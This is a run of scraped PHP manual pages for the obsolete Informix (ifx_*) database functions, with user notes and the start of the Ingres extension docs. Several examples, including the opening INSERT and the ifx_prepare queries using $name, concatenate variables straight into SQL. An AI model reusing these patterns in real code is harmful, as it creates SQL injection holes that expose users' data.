$query = 'INSERT INTO <table> (id, title, status, content) VALUES (0,"'.$title.'","'.$status.'",?)';
if (!($execute = ifx_query($query,$conn_id,$txt))){
   echo "Error on insert...".ifx_error();
} else {
   echo "<script>alert('Success');</script>";
}
?>


Execute a previously prepared SQL-statement

  • « ifx_create_char
  • ifx_error »
  • PHP Manual
  • Informix Functions
  • Execute a previously prepared SQL-statement

ifx_do

(PHP 4, PHP <=5.2.0)

ifx_do — Execute a previously prepared SQL-statement

Description

bool ifx_do ( resource $result_id )

Executes a previously prepared query or opens a cursor for it.

Does NOT free result_id on error.

Also sets the real number of ifx_affected_rows() for non-select statements for retrieval by ifx_affected_rows().

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

Example #1 ifx_do() Example

<?php
$conn = fx_connect( "db", "user", "password" );
$result = ifx_prepare("SELECT customer_num, company FROM customer", $conn);
ifx_do($result);
?>

See Also

  • ifx_prepare() - Prepare an SQL-statement for execution

User Contributed Notes

There are no user contributed notes for this page.


Returns error code of last Informix call

  • « ifx_do
  • ifx_errormsg »
  • PHP Manual
  • Informix Functions
  • Returns error code of last Informix call

ifx_error

(PHP 4, PHP <=5.2.0)

ifx_error — Returns error code of last Informix call

Description

string ifx_error ([ resource $link_identifier ] )

Returns in a string one character describing the general results of a statement and both SQLSTATE and SQLCODE associated with the most recent SQL statement executed.

Parameters

link_identifier

The link identifier.

Return Values

The Informix error codes (SQLSTATE & SQLCODE) formatted as x [SQLSTATE = aa bbb SQLCODE=cccc].

where x = space : no error

E : error

N : no more data

W : warning

? : undefined

If the "x" character is anything other than space, SQLSTATE and SQLCODE describe the error in more detail.

See the Informix manual for the description of SQLSTATE and SQLCODE

See Also

  • ifx_errormsg() - Returns error message of last Informix call

User Contributed Notes

There are no user contributed notes for this page.


Returns error message of last Informix call

  • « ifx_error
  • ifx_fetch_row »
  • PHP Manual
  • Informix Functions
  • Returns error message of last Informix call

ifx_errormsg

(PHP 4, PHP <=5.2.0)

ifx_errormsg — Returns error message of last Informix call

Description

string ifx_errormsg ([ int $errorcode ] )

Returns the Informix error message associated with the most recent Informix error.

Parameters

errorcode

If specified, the function will return the message corresponding to the specified code.

Return Values

Return the error message, as a string.

Examples

Example #1 ifx_errormsg() example

<?php
printf("%s\n<br>", ifx_errormsg(-201));
?>

See Also

  • ifx_error() - Returns error code of last Informix call

User Contributed Notes

monts at netcabo dot pt 30-Mar-2005 12:03
The support for message-strings send by triggers is not implemented.

The common error send by triggers is the -746.
In the sqlerrm is the message for the error returned from a trigger.

This driver does not take this in mind.

Sorry for my bad english...

J. Montenegro
sven at sveni dot com 04-Feb-2005 01:45
Nice function to call. Very helpfull if you want to use in combination with an own ErrorHandler. But informix error recognition seems just to work directly after calling a informix function.

/**
 * checks weater error has occured or not
 * @return false if no error, else error message
 */
function db_error_occured()
{
    $err_code = ifx_error();
    if (substr($err_code,0,1) != ' ') {
        return ifx_errormsg();
    }
    else {
        return false;
    }
} //db_error_occured


Get row as an associative array

  • « ifx_errormsg
  • ifx_fieldproperties »
  • PHP Manual
  • Informix Functions
  • Get row as an associative array

ifx_fetch_row

(PHP 4, PHP <=5.2.0)

ifx_fetch_row — Get row as an associative array

Description

array ifx_fetch_row ( resource $result_id [, mixed $position ] )

Fetches one row of data from the result associated with the specified result identifier.

Subsequent calls to ifx_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

position

An optional parameter for a "fetch" operation on "scroll" cursors: NEXT, PREVIOUS, CURRENT, FIRST, LAST or a number. If you specify a number, an "absolute" row fetch is executed. This parameter is optional, and only valid for SCROLL cursors.

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

Blob columns are returned as integer blob id values for use in ifx_get_blob() unless you have used ifx_textasvarchar(1) or ifx_byteasvarchar(1), in which case blobs are returned as string values.

Examples

Example #1 Informix fetch rows

<?php
$rid = ifx_prepare ("select * from emp where name like " . $name,
                     $connid, IFX_SCROLL);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
if (! ifx_do ($rid)) {
   /* ... error ... */
}
$row = ifx_fetch_row ($rid, "NEXT");
while (is_array($row)) {
    for (reset($row); $fieldname=key($row); next($row)) {
        $fieldvalue = $row[$fieldname];
        printf ("%s = %s,", $fieldname, $fieldvalue);
    }
    printf("\n<br />");
    $row = ifx_fetch_row($rid, "NEXT");
}
ifx_free_result ($rid);
?>

User Contributed Notes

rpuchalsky at att dot net 11-Jan-2001 09:23
If you use a select statement that
identifies fields according to which
table they come from, i.e.

select tab1.name, tab2.phone from
tab1, tab2
where tab1.id = tab2.id

then the associative keys of the array returned by ifx_fetch_row will not include the table names.  For the example above, if you used

$row = ifx_fetch_row ($rid);

then the first field in the
returned array would be $row["name"],
not $row["tab1.name"] .


List of SQL fieldproperties

  • « ifx_fetch_row
  • ifx_fieldtypes »
  • PHP Manual
  • Informix Functions
  • List of SQL fieldproperties

ifx_fieldproperties

(PHP 4, PHP <=5.2.0)

ifx_fieldproperties — List of SQL fieldproperties

Description

array ifx_fieldproperties ( resource $result_id )

Returns the Informix SQL fieldproperties of every field in the query as an associative array. Properties are encoded as: "SQLTYPE;length;precision;scale;ISNULLABLE" where SQLTYPE = the Informix type like "SQLVCHAR" etc. and ISNULLABLE = "Y" or "N".

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns an associative array with fieldnames as key and the SQL fieldproperties as data for a query with result_id. Returns FALSE on errors.

Examples

Example #1 Informix SQL fieldproperties

<?php
$properties = ifx_fieldproperties($resultid);
if (!isset($properties)) {
    /* ... error ... */
}
foreach ($properties as $fname => $val) {
    echo "$fname:\t property = $val\n";
}
?>

See Also

  • ifx_fieldtypes() - List of Informix SQL fields

User Contributed Notes

There are no user contributed notes for this page.


List of Informix SQL fields

  • « ifx_fieldproperties
  • ifx_free_blob »
  • PHP Manual
  • Informix Functions
  • List of Informix SQL fields

ifx_fieldtypes

(PHP 4, PHP <=5.2.0)

ifx_fieldtypes — List of Informix SQL fields

Description

array ifx_fieldtypes ( resource $result_id )

Returns an associative array with fieldnames as key and the SQL fieldtypes as data for the query associated with result_id.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns an associative array with fieldnames as key and the SQL fieldtypes as data for query with result_id. Returns FALSE on error.

Examples

Example #1 Fieldnames and SQL fieldtypes

<?php
$types = ifx_fieldtypes($resultid);
if (is_array($types)) {
    foreach ($types as $fname => $val) {
        echo "$fname:\t type = $val\n";
    }
}
?>

See Also

  • ifx_fieldproperties() - List of SQL fieldproperties

User Contributed Notes

lord_edd at hotmail dot com 30-Apr-2002 03:46
Alternativly i found you can always do it like this using the foreach() loop...

    $types = @ifx_fieldtypes($resultid);
    if (isset($types))
    {
      foreach($types as $field_name => $data_type)
      {
         echo "{$field_name} {$data_type}";
      }
    }


Deletes the blob object

  • « ifx_fieldtypes
  • ifx_free_char »
  • PHP Manual
  • Informix Functions
  • Deletes the blob object

ifx_free_blob

(PHP 4, PHP <=5.2.0)

ifx_free_blob — Deletes the blob object

Description

bool ifx_free_blob ( int $bid )

Deletes the blobobject for the given blob object-id.

Parameters

bid

The BLOB object id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_create_blob() - Creates an blob object

User Contributed Notes

There are no user contributed notes for this page.


Deletes the char object

  • « ifx_free_blob
  • ifx_free_result »
  • PHP Manual
  • Informix Functions
  • Deletes the char object

ifx_free_char

(PHP 4, PHP <=5.2.0)

ifx_free_char — Deletes the char object

Description

bool ifx_free_char ( int $bid )

Deletes the charobject for the given char object-id.

Parameters

bid

The char object id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_create_char() - Creates an char object

User Contributed Notes

There are no user contributed notes for this page.


Releases resources for the query

  • « ifx_free_char
  • ifx_get_blob »
  • PHP Manual
  • Informix Functions
  • Releases resources for the query

ifx_free_result

(PHP 4, PHP <=5.2.0)

ifx_free_result — Releases resources for the query

Description

bool ifx_free_result ( resource $result_id )

Releases resources for the query associated with result_id.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_do() - Execute a previously prepared SQL-statement

User Contributed Notes

There are no user contributed notes for this page.


Return the content of a blob object

  • « ifx_free_result
  • ifx_get_char »
  • PHP Manual
  • Informix Functions
  • Return the content of a blob object

ifx_get_blob

(PHP 4, PHP <=5.2.0)

ifx_get_blob — Return the content of a blob object

Description

string ifx_get_blob ( int $bid )

Returns the content of the blob object.

Parameters

bid

The BLOB object id.

Return Values

The contents of the BLOB as a string, or FALSE on errors.

See Also

  • ifx_get_char() - Return the content of the char object

User Contributed Notes

There are no user contributed notes for this page.


Return the content of the char object

  • « ifx_get_blob
  • ifx_getsqlca »
  • PHP Manual
  • Informix Functions
  • Return the content of the char object

ifx_get_char

(PHP 4, PHP <=5.2.0)

ifx_get_char — Return the content of the char object

Description

string ifx_get_char ( int $bid )

Returns the content of the char object.

Parameters

bid

The char object-id.

Return Values

Returns the contents as a string, or FALSE on errors.

See Also

  • ifx_get_blob() - Return the content of a blob object

User Contributed Notes

There are no user contributed notes for this page.


Get the contents of sqlca.sqlerrd[0..5] after a query

  • « ifx_get_char
  • ifx_htmltbl_result »
  • PHP Manual
  • Informix Functions
  • Get the contents of sqlca.sqlerrd[0..5] after a query

ifx_getsqlca

(PHP 4, PHP <=5.2.0)

ifx_getsqlca — Get the contents of sqlca.sqlerrd[0..5] after a query

Description

array ifx_getsqlca ( resource $result_id )

Returns a pseudo-row with sqlca.sqlerrd[0] ... sqlca.sqlerrd[5] after the query associated with result_id.

For inserts, updates and deletes the values returned are those as set by the server after executing the query. This gives access to the number of affected rows and the serial insert value. For SELECTs the values are those saved after the PREPARE statement. This gives access to the *estimated* number of affected rows. The use of this function saves the overhead of executing a SELECT dbinfo('sqlca.sqlerrdx') query, as it retrieves the values that were saved by the ifx driver at the appropriate moment.

Parameters

result_id

result_id is a valid result id returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns an associative array with the following entries: sqlerrd0, sqlerrd1, sqlerrd2, sqlerrd3, sqlerrd4 and sqlerrd5.

Examples

Example #1 Retrieve Informix sqlca.sqlerrd[x] values

<?php
/* assume the first column of 'sometable' is a serial */
$qid = ifx_query("insert into sometable
                  values (0, '2nd column', 'another column') ", $connid);
if (!$qid) {
    /* ... error ... */
}
$sqlca = ifx_getsqlca($qid);
$serial_value = $sqlca["sqlerrd1"];
echo "The serial value of the inserted row is : $serial_value<br />\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Formats all rows of a query into a HTML table

  • « ifx_getsqlca
  • ifx_nullformat »
  • PHP Manual
  • Informix Functions
  • Formats all rows of a query into a HTML table

ifx_htmltbl_result

(PHP 4, PHP <=5.2.0)

ifx_htmltbl_result — Formats all rows of a query into a HTML table

Description

int ifx_htmltbl_result ( resource $result_id [, string $html_table_options ] )

Formats and prints all rows of the result_id query into a HTML table.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

html_table_options

This optional argument is a string of <table> tag options.

Return Values

Returns the number of fetched rows, or FALSE on errors.

Examples

Example #1 Informix results as HTML table

<?php
$rid = ifx_prepare ("select * from emp where name like " . $name,
                     $connid, IFX_SCROLL);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows ($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
if (! ifx_do($rid)) {
    /* ... error ... */
}

ifx_htmltbl_result ($rid, "border=\"2\"");

ifx_free_result($rid);
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the default return value on a fetch row

  • « ifx_htmltbl_result
  • ifx_num_fields »
  • PHP Manual
  • Informix Functions
  • Sets the default return value on a fetch row

ifx_nullformat

(PHP 4, PHP <=5.2.0)

ifx_nullformat — Sets the default return value on a fetch row

Description

bool ifx_nullformat ( int $mode )

Sets the default return value of a NULL-value on a fetch row.

Parameters

mode

Mode "0" returns "", and mode "1" returns "NULL".

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of columns in the query

  • « ifx_nullformat
  • ifx_num_rows »
  • PHP Manual
  • Informix Functions
  • Returns the number of columns in the query

ifx_num_fields

(PHP 4, PHP <=5.2.0)

ifx_num_fields — Returns the number of columns in the query

Description

int ifx_num_fields ( resource $result_id )

After preparing or executing a query, this call gives you the number of columns in the query.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns the number of columns in query for result_id, or FALSE on errors.

Examples

Example #1 ifx_num_fields() Example

<?php
$conn_id = ifx_connect("db", "user", "password");
$res_id = ifx_query("select * from systables", $conn_id);
echo ifx_num_fields($res_id);
?>

See Also

  • ifx_num_rows() - Count the rows already fetched from a query

User Contributed Notes

There are no user contributed notes for this page.


Count the rows already fetched from a query

  • « ifx_num_fields
  • ifx_pconnect »
  • PHP Manual
  • Informix Functions
  • Count the rows already fetched from a query

ifx_num_rows

(PHP 4, PHP <=5.2.0)

ifx_num_rows — Count the rows already fetched from a query

Description

int ifx_num_rows ( resource $result_id )

Gives the number of rows fetched so far for a query with result_id after a ifx_query() or ifx_do() query.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns the number of fetched rows or FALSE on errors.

See Also

  • ifx_num_fields() - Returns the number of columns in the query

User Contributed Notes

evandrosimenes at hotmail dot com 13-Jan-2009 01:10
if you use this function following:

<?php
$query = ifx_query("SELECT * FROM systables", $connection);
$rows  = ifx_num_rows($query);
?>

this way it doesn't work...

the correct is:

<?php
$query = ifx_query("SELECT * FROM systables", $connection);
$fetch = ifx_fetch_row($query);
$rows  = ifx_num_rows($query);
?>

this way it work...

the informix doesn't returns anything (only with ifx_num_rows) if you don't open the results of query (with ifx_fetch_row)
icespawn11882 at hotmail dot com 21-Apr-2005 12:56
This function give always 0 as result so I used ifx_affected_rows to count rows of a query's result...

An example of this function:

$conn_id = ifx_connect("db", "user", "password");
$res_id = ifx_query("select * from systables", $conn_id);
$res = ifx_affected_rows($res_id);
echo $res;

$res contains the number of rows in the result of the query after his execution.

Para Massimiliano


Open persistent Informix connection

  • « ifx_num_rows
  • ifx_prepare »
  • PHP Manual
  • Informix Functions
  • Open persistent Informix connection

ifx_pconnect

(PHP 4, PHP <=5.2.0)

ifx_pconnect — Open persistent Informix connection

Description

resource ifx_pconnect ([ string $database [, string $userid [, string $password ]]] )

ifx_pconnect() acts very much like ifx_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ifx_close() will not close links established by ifx_pconnect()).

This type of links is therefore called 'persistent'.

Parameters

All of the arguments are optional, and if they're missing, defaults are taken from values supplied in php.ini (ifx.default_host for the host (Informix libraries will use INFORMIXSERVER environment value if not defined), ifx.default_user for user, ifx.default_password for the password (none if not defined).

database

The database name, as a string.

userid

The username, as a string.

password

The password, as a string.

Return Values

Returns: valid Informix persistent link identifier on success, or FALSE on errors.

See Also

  • ifx_connect() - Open Informix server connection

User Contributed Notes

There are no user contributed notes for this page.


Prepare an SQL-statement for execution

  • « ifx_pconnect
  • ifx_query »
  • PHP Manual
  • Informix Functions
  • Prepare an SQL-statement for execution

ifx_prepare

(PHP 4, PHP <=5.2.0)

ifx_prepare — Prepare an SQL-statement for execution

Description

resource ifx_prepare ( string $query , resource $link_identifier [, int $cursor_def ], mixed $blobidarray )

Prepares a query for later use with ifx_do().

For "select-type" queries a cursor is declared and opened. Non-select queries are "execute immediate".

For either query type the number of (estimated or real) affected rows is saved for retrieval by ifx_affected_rows().

If the contents of the TEXT (or BYTE) column allow it, you can also use ifx_textasvarchar(1) and ifx_byteasvarchar(1). This allows you to treat TEXT (or BYTE) columns just as if they were ordinary (but long) VARCHAR columns for select queries, and you don't need to bother with blob id's.

With ifx_textasvarchar(0) or ifx_byteasvarchar(0) (the default situation), select queries will return BLOB columns as blob id's (integer value). You can get the value of the blob as a string or file with the blob functions (see below).

Parameters

query

The query string.

link_identifier

The link identifier.

cursor_def

This optional parameter allows you to make this a scroll and/or hold cursor. It's a bitmask and can be either IFX_SCROLL, IFX_HOLD, or both or'ed together.

blobidarray

If you have BLOB (BYTE or TEXT) columns in the query, you can add a blobidarray parameter containing the corresponding "blob ids", and you should replace those columns with a "?" in the query text.

Return Values

Returns a valid result identifier for use by ifx_do(), or FALSE on errors.

See Also

  • ifx_do() - Execute a previously prepared SQL-statement

User Contributed Notes

icespawn11882 at hotmail dot com 02-Mar-2005 05:41
This is an example to use this function

$conn = fx_connect( "db", "user", "password" );
$result = ifx_prepare("SELECT customer_num, company FROM customer", $conn);
ifx_do($result);

ifx_prepare associate an int to the query; we use this int with ifx_do

Para Massimiliano


Send Informix query

  • « ifx_prepare
  • ifx_textasvarchar »
  • PHP Manual
  • Informix Functions
  • Send Informix query

ifx_query

(PHP 4, PHP <=5.2.0)

ifx_query — Send Informix query

Description

resource ifx_query ( string $query , resource $link_identifier [, int $cursor_type [, mixed $blobidarray ]] )

Sends a query to the currently active database on the server that's associated with the specified link identifier.

For "select-type" queries a cursor is declared and opened. Non-select queries are "execute immediate".

For either query type the number of (estimated or real) affected rows is saved for retrieval by ifx_affected_rows().

If the contents of the TEXT (or BYTE) column allow it, you can also use ifx_textasvarchar(1) and ifx_byteasvarchar(1). This allows you to treat TEXT (or BYTE) columns just as if they were ordinary (but long) VARCHAR columns for select queries, and you don't need to bother with blob id's.

With ifx_textasvarchar(0) or ifx_byteasvarchar(0) (the default situation), select queries will return BLOB columns as blob id's (integer value). You can get the value of the blob as a string or file with the blob functions (see below).

Parameters

query

The query string.

link_identifier

The link identifier.

cursor_def

This optional parameter allows you to make this a scroll and/or hold cursor. It's a bitmask and can be either IFX_SCROLL, IFX_HOLD, or both or'ed together. I you omit this parameter the cursor is a normal sequential cursor.

blobidarray

If you have BLOB (BYTE or TEXT) columns in the query, you can add a blobidarray parameter containing the corresponding "blob ids", and you should replace those columns with a "?" in the query text.

Return Values

Returns valid Informix result identifier on success, or FALSE on errors.

Examples

Example #1 Show all rows of the "orders" table as a HTML table

<?php
ifx_textasvarchar(1);      // use "text mode" for blobs
$res_id = ifx_query("select * from orders", $conn_id);
if (! $res_id) {
    printf("Can't select orders : %s\n<br />%s<br />\n", ifx_error(), ifx_errormsg());
    die;
}
ifx_htmltbl_result($res_id, "border=\"1\"");
ifx_free_result($res_id);
?>

Example #2 Insert some values into the "catalog" table

<?php

// create blob id's for a byte and text column
$textid = ifx_create_blob(0, 0, "Text column in memory");
$byteid = ifx_create_blob(1, 0, "Byte column in memory");

// store blob id's in a blobid array
$blobidarray[] = $textid;
$blobidarray[] = $byteid;

// launch query
$query = "insert into catalog (stock_num, manu_code, " .
         "cat_descr,cat_picture) values(1,'HRO',?,?)";
$res_id = ifx_query($query, $conn_id, $blobidarray);
if (! $res_id) {
    /* ... error ... */
}

// free result id
ifx_free_result($res_id);
?>

See Also

  • ifx_connect() - Open Informix server connection

User Contributed Notes

There are no user contributed notes for this page.


Set the default text mode

  • « ifx_query
  • ifx_update_blob »
  • PHP Manual
  • Informix Functions
  • Set the default text mode

ifx_textasvarchar

(PHP 4, PHP <=5.2.0)

ifx_textasvarchar — Set the default text mode

Description

bool ifx_textasvarchar ( int $mode )

Sets the default text mode for all select-queries.

Parameters

mode

Mode "0" will return a blob id, and mode "1" will return a varchar with text content.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_byteasvarchar() - Set the default byte mode

User Contributed Notes

There are no user contributed notes for this page.


Updates the content of the blob object

  • « ifx_textasvarchar
  • ifx_update_char »
  • PHP Manual
  • Informix Functions
  • Updates the content of the blob object

ifx_update_blob

(PHP 4, PHP <=5.2.0)

ifx_update_blob — Updates the content of the blob object

Description

bool ifx_update_blob ( int $bid , string $content )

Updates the content of the blob object for the given blob object bid.

Parameters

bid

A BLOB object identifier.

content

The new data, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_update_char() - Updates the content of the char object

User Contributed Notes

There are no user contributed notes for this page.


Updates the content of the char object

  • « ifx_update_blob
  • ifxus_close_slob »
  • PHP Manual
  • Informix Functions
  • Updates the content of the char object

ifx_update_char

(PHP 4, PHP <=5.2.0)

ifx_update_char — Updates the content of the char object

Description

bool ifx_update_char ( int $bid , string $content )

Updates the content of the char object for the given char object bid.

Parameters

bid

A char object identifier.

content

The new data, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_update_blob() - Updates the content of the blob object

User Contributed Notes

There are no user contributed notes for this page.


Deletes the slob object

  • « ifx_update_char
  • ifxus_create_slob »
  • PHP Manual
  • Informix Functions
  • Deletes the slob object

ifxus_close_slob

(PHP 4, PHP <=5.2.0)

ifxus_close_slob — Deletes the slob object

Description

bool ifxus_close_slob ( int $bid )

Deletes the slob object on the given slob object-id bid.

Parameters

bid

An existing slob id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifxus_open_slob() - Opens an slob object

User Contributed Notes

There are no user contributed notes for this page.


Creates an slob object and opens it

  • « ifxus_close_slob
  • ifxus_free_slob »
  • PHP Manual
  • Informix Functions
  • Creates an slob object and opens it

ifxus_create_slob

(PHP 4, PHP <=5.2.0)

ifxus_create_slob — Creates an slob object and opens it

Description

int ifxus_create_slob ( int $mode )

Creates an slob object and opens it.

Parameters

mode

A combination of IFX_LO_RDONLY, IFX_LO_WRONLY, IFX_LO_APPEND IFX_LO_RDWR, IFX_LO_BUFFER, IFX_LO_NOBUFFER.

Return Values

Return the new slob object-id, or FALSE on errors.

See Also

  • ifxus_close_slob() - Deletes the slob object
  • ifxus_free_slob() - Deletes the slob object

User Contributed Notes

There are no user contributed notes for this page.


Deletes the slob object

  • « ifxus_create_slob
  • ifxus_open_slob »
  • PHP Manual
  • Informix Functions
  • Deletes the slob object

ifxus_free_slob

(PHP 4, PHP <=5.2.0)

ifxus_free_slob — Deletes the slob object

Description

bool ifxus_free_slob ( int $bid )

Deletes the slob object.

Parameters

bid

An existing slob id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifxus_close_slob() - Deletes the slob object

User Contributed Notes

There are no user contributed notes for this page.


Opens an slob object

  • « ifxus_free_slob
  • ifxus_read_slob »
  • PHP Manual
  • Informix Functions
  • Opens an slob object

ifxus_open_slob

(PHP 4, PHP <=5.2.0)

ifxus_open_slob — Opens an slob object

Description

int ifxus_open_slob ( int $bid , int $mode )

Opens an slob object. bid should be an existing slob id.

Parameters

bid

An existing slob id.

mode

A combination of IFX_LO_RDONLY, IFX_LO_WRONLY, IFX_LO_APPEND IFX_LO_RDWR, IFX_LO_BUFFER, IFX_LO_NOBUFFER.

Return Values

Returns the new slob object-id, or FALSE on errors.

See Also

  • ifxus_close_slob() - Deletes the slob object
  • ifxus_free_slob() - Deletes the slob object

User Contributed Notes

There are no user contributed notes for this page.


Reads nbytes of the slob object

  • « ifxus_open_slob
  • ifxus_seek_slob »
  • PHP Manual
  • Informix Functions
  • Reads nbytes of the slob object

ifxus_read_slob

(PHP 4, PHP <=5.2.0)

ifxus_read_slob — Reads nbytes of the slob object

Description

string ifxus_read_slob ( int $bid , int $nbytes )

Reads nbytes of the slob object.

Parameters

bid

An existing slob id.

nbytes

The number of bytes to read.

Return Values

Returns the slob contents as a string, or FALSE on errors.

See Also

  • ifxus_write_slob() - Writes a string into the slob object

User Contributed Notes

There are no user contributed notes for this page.


Sets the current file or seek position

  • « ifxus_read_slob
  • ifxus_tell_slob »
  • PHP Manual
  • Informix Functions
  • Sets the current file or seek position

ifxus_seek_slob

(PHP 4, PHP <=5.2.0)

ifxus_seek_slob — Sets the current file or seek position

Description

int ifxus_seek_slob ( int $bid , int $mode , int $offset )

Sets the current file or seek position of an open slob object.

Parameters

bid

An existing slob id.

mode

0 = LO_SEEK_SET, 1 = LO_SEEK_CUR, 2 = LO_SEEK_END.

offset

A byte offset.

Return Values

Returns the seek position as an integer, or FALSE on errors.

See Also

  • ifxus_tell_slob() - Returns the current file or seek position

User Contributed Notes

There are no user contributed notes for this page.


Returns the current file or seek position

  • « ifxus_seek_slob
  • ifxus_write_slob »
  • PHP Manual
  • Informix Functions
  • Returns the current file or seek position

ifxus_tell_slob

(PHP 4, PHP <=5.2.0)

ifxus_tell_slob — Returns the current file or seek position

Description

int ifxus_tell_slob ( int $bid )

Returns the current file or seek position of an open slob object

Parameters

bid

An existing slob id.

Return Values

Returns the seek position as an integer, or FALSE on errors.

See Also

  • ifxus_seek_slob() - Sets the current file or seek position

User Contributed Notes

There are no user contributed notes for this page.


Writes a string into the slob object

  • « ifxus_tell_slob
  • Ingres »
  • PHP Manual
  • Informix Functions
  • Writes a string into the slob object

ifxus_write_slob

(PHP 4, PHP <=5.2.0)

ifxus_write_slob — Writes a string into the slob object

Description

int ifxus_write_slob ( int $bid , string $content )

Writes a string into the slob object.

Parameters

bid

An existing slob id.

content

The content to write, as a string.

Return Values

Returns the bytes written as an integer, or FALSE on errors.

See Also

  • ifxus_read_slob() - Reads nbytes of the slob object

User Contributed Notes

There are no user contributed notes for this page.


Ingres DBMS, EDBC, and Enterprise Access Gateways

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Ingres Functions
    • ingres_autocommit_state — Test if the connection is using autocommit
    • ingres_autocommit — Switch autocommit on or off
    • ingres_charset — Returns the installation character set
    • ingres_close — Close an Ingres database connection
    • ingres_commit — Commit a transaction
    • ingres_connect — Open a connection to an Ingres database
    • ingres_cursor — Get a cursor name for a given result resource
    • ingres_errno — Get the last Ingres error number generated
    • ingres_error — Get a meaningful error message for the last error generated
    • ingres_errsqlstate — Get the last SQLSTATE error code generated
    • ingres_escape_string — Escape special characters for use in a query
    • ingres_execute — Execute a prepared query
    • ingres_fetch_array — Fetch a row of result into an array
    • ingres_fetch_assoc — Fetch a row of result into an associative array
    • ingres_fetch_object — Fetch a row of result into an object
    • ingres_fetch_proc_return — Get the return value from a procedure call
    • ingres_fetch_row — Fetch a row of result into an enumerated array
    • ingres_field_length — Get the length of a field
    • ingres_field_name — Get the name of a field in a query result
    • ingres_field_nullable — Test if a field is nullable
    • ingres_field_precision — Get the precision of a field
    • ingres_field_scale — Get the scale of a field
    • ingres_field_type — Get the type of a field in a query result
    • ingres_free_result — Free the resources associated with a result identifier
    • ingres_next_error — Get the next Ingres error
    • ingres_num_fields — Get the number of fields returned by the last query
    • ingres_num_rows — Get the number of rows affected or returned by a query
    • ingres_pconnect — Open a persistent connection to an Ingres database
    • ingres_prepare — Prepare a query for later execution
    • ingres_query — Send an SQL query to Ingres
    • ingres_result_seek — Set the row position before fetching data
    • ingres_rollback — Roll back a transaction
    • ingres_set_environment — Set environment features controlling output options
    • ingres_unbuffered_query — Send an unbuffered SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The Ingres driver for PHP enables you to connect to and query the Ingres DBMS, EDBC, and Enterprise Access Gateways.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use or build the PHP extension for Ingres you must have a working Ingres client environment. You can download the client software for Ingres from » http://esd.ingres.com/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ingres.

You can download the DLL for this PECL extension from » http://esd.ingres.com/product/drivers/PHP/.

To have these functions available, you must » download and compile this extension, enabling Ingres support using the --with-ingres[=DIR] option, where DIR is the Ingres base directory. If the II_SYSTEM environment variable is not set correctly you may need to use --with-ingres=DIR to specify your Ingres installation directory.

PHP code written for version 2.x and later is not backward-compatible with earlier versions of this PHP extension. However, it is possible to run two incompatible releases within the same PHP environment using the --enable-ingres2 option. This configuration option renames the extension to ingres2, changing function names, configuration settings, and constants. For example, with this option enabled, ingres_connect() becomes ingres2_connect().

To use this extension the system environment variable II_SYSTEM must be defined. Linux and UNIX users will also need to define the shared library search path, for example, LD_LIBRARY_PATH. When used with the Apache web server these variables must be set explicitly in the startup script for Apache. In addition, the PassEnv directive is required for the Ingres extension to load the correct shared libraries. For example:

Example #1 Example usage of PassEnv for Ingres

<IfModule mod_env.c>
    PassEnv II_SYSTEM
    PassEnv LD_LIBRARY_PATH
</IfModule>

Note:

For example configurations for different web servers and operating systems see » http://community.ingres.com/wiki/Ingres_Articles#Ingres_and_Web_Servers.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Ingres configuration options
Name | Default | Changeable | Changelog
ingres.allow_persistent | "1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.array_index_start | "1" | PHP_INI_ALL | Available since ingres 1.4.0.
ingres.auto | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.blob_segment_length | "4096" | PHP_INI_ALL | Available since ingres 1.2.0.
